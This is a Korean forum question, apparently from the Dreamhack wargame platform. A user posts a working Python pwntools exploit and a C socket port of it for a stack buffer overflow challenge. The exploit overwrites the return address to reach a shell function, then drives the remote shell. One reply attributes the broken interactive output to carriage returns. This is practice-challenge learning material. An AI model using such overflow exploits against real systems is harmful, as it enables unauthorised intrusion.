완료됨
같은 익스 코드를 C로 작성했는데 interactive 부분이 왜 동작하지 않는지 모르겠습니다.

문제를 풀었고 아래처럼 python으로 익스 코드를 작성했습니다.

from pwn import *

if __name__ == '__main__':
	context.log_level = 'debug'

	payload = b'A' * 0x30 + b'B' * 0x8 + b'\xAA\x06\x40\x00\x00\x00\x00\x00'
	rmt = remote('host3.dreamhack.games', 16605)

	rmt.send(payload)
	rmt.interactive()

잘 동작하는 것을 확인했고, 이를 C언어로도 풀어보고 싶어서 아래처럼 작성했습니다.

#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <stdio.h>
#include <time.h>

#define HOST_NAME "host3.dreamhack.games"
#define PORT_ADDR 12920

void exit_with_error(char * message) {
	fputs(message, stderr);
	fputc('\n', stderr);
	exit(1);
}

void print_bytes(uint8_t * bytes, size_t length) {
	for (int i = 0; i < length; i++) {
		printf("%02X ", bytes[i]);

		if ((i + 1) % 16 == 0) {
			puts("");
			continue;
		}
	}

	if (length % 16 != 0) {
		puts("");
	}

	puts("");
}

void * recv_thread(void * arg) {
	int sock = *(int *)arg;

	char buffer[100] = {};
	ssize_t recv_bytes;

	while (1) {
		recv_bytes = recv(sock, buffer, 100, 0);

		if (recv_bytes <= 0) {
			break;
		}

		printf("%s\n", buffer);
	}

	pthread_exit(NULL);
}

int main(void) {
	int                sock;
	struct hostent     * host;
	struct sockaddr_in serv_addr;
	pthread_t          recv_thread_id;

	uint64_t binsh_addr = 0x4006AA;

	char buffer[100] = {};
	char payload[0x40] = {};

	memset(payload, 'A', 0x30 + 8);
	memmove(payload + 0x30 + 8, &binsh_addr, sizeof binsh_addr);

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		exit_with_error("socket() error");
	}

	if (!(host = gethostbyname(HOST_NAME))) {
		exit_with_error("gethostbyname() error");
	}

	unsigned long ip_addr = (*(struct in_addr **)host->h_addr_list)->s_addr;

	memset(&serv_addr, 0, sizeof serv_addr);

	serv_addr.sin_family      = AF_INET;
	serv_addr.sin_addr.s_addr = ip_addr;
	serv_addr.sin_port        = htons(PORT_ADDR);

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof serv_addr) == -1) {
		exit_with_error("connect() error");
	}

	recv(sock, buffer, sizeof buffer, 0);
	print_bytes(buffer, sizeof buffer);
	memset(buffer, 0, sizeof buffer);

	ssize_t timer = 1024;

	if (send(sock, payload, sizeof payload, 0) == -1) {
		exit_with_error("write error");
	}

	print_bytes(payload, sizeof payload);	

	pthread_create(&recv_thread_id, NULL, recv_thread, (void *)&sock);

	puts("ineractive >>");

	while (1) {
		printf("$ ");
		memset(buffer, 0, sizeof buffer);
		fgets(buffer, sizeof buffer - 1, stdin);

		if (!strcmp(buffer, "exit\n")) {
			break;
		}

		print_bytes(buffer, sizeof buffer);

		int send_bytes = send(sock, buffer, strlen(buffer), 0);

		if (send_bytes == -1) {
			printf("send failed");
			break;
		}
	}

	pthread_join(recv_thread_id, NULL);

	close(sock);

	return 0;
}

interactive로 작성한 부분이 pthread_create부터입니다. 해당 코드 전까지는 입력도 잘 받고 출력도 잘 되지만, interactive부분부터 입력을 서버로 주면 출력을 받질 못합니다. 중간중간 디버깅 코드도 넣어서 돌려봤지만 잘 동작하지 않는 이유를 잘 모르겠습니다.

쉘코드와 함께 나오는 shell_basic 문제는 C언어만으로 해결했습니다.

#python #c #exploit_code
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
리신뭐해갱오라고
대표 업적 없음
리신뭐해갱오라고
대표 업적 없음

아마도 캐리지 리턴('\r', 아스키코드 0x0d)때문일 겁니다 캐리지 리턴을 printf 등으로 출력하면 이전에 출력한 문장을 덮어쓰기 때문에 제데로 출력이 되질 않습니다. 캐리지리턴을 newline('\n',0x0a)로 바꿔보면 될거 같습니다.

2024.04.30. 15:06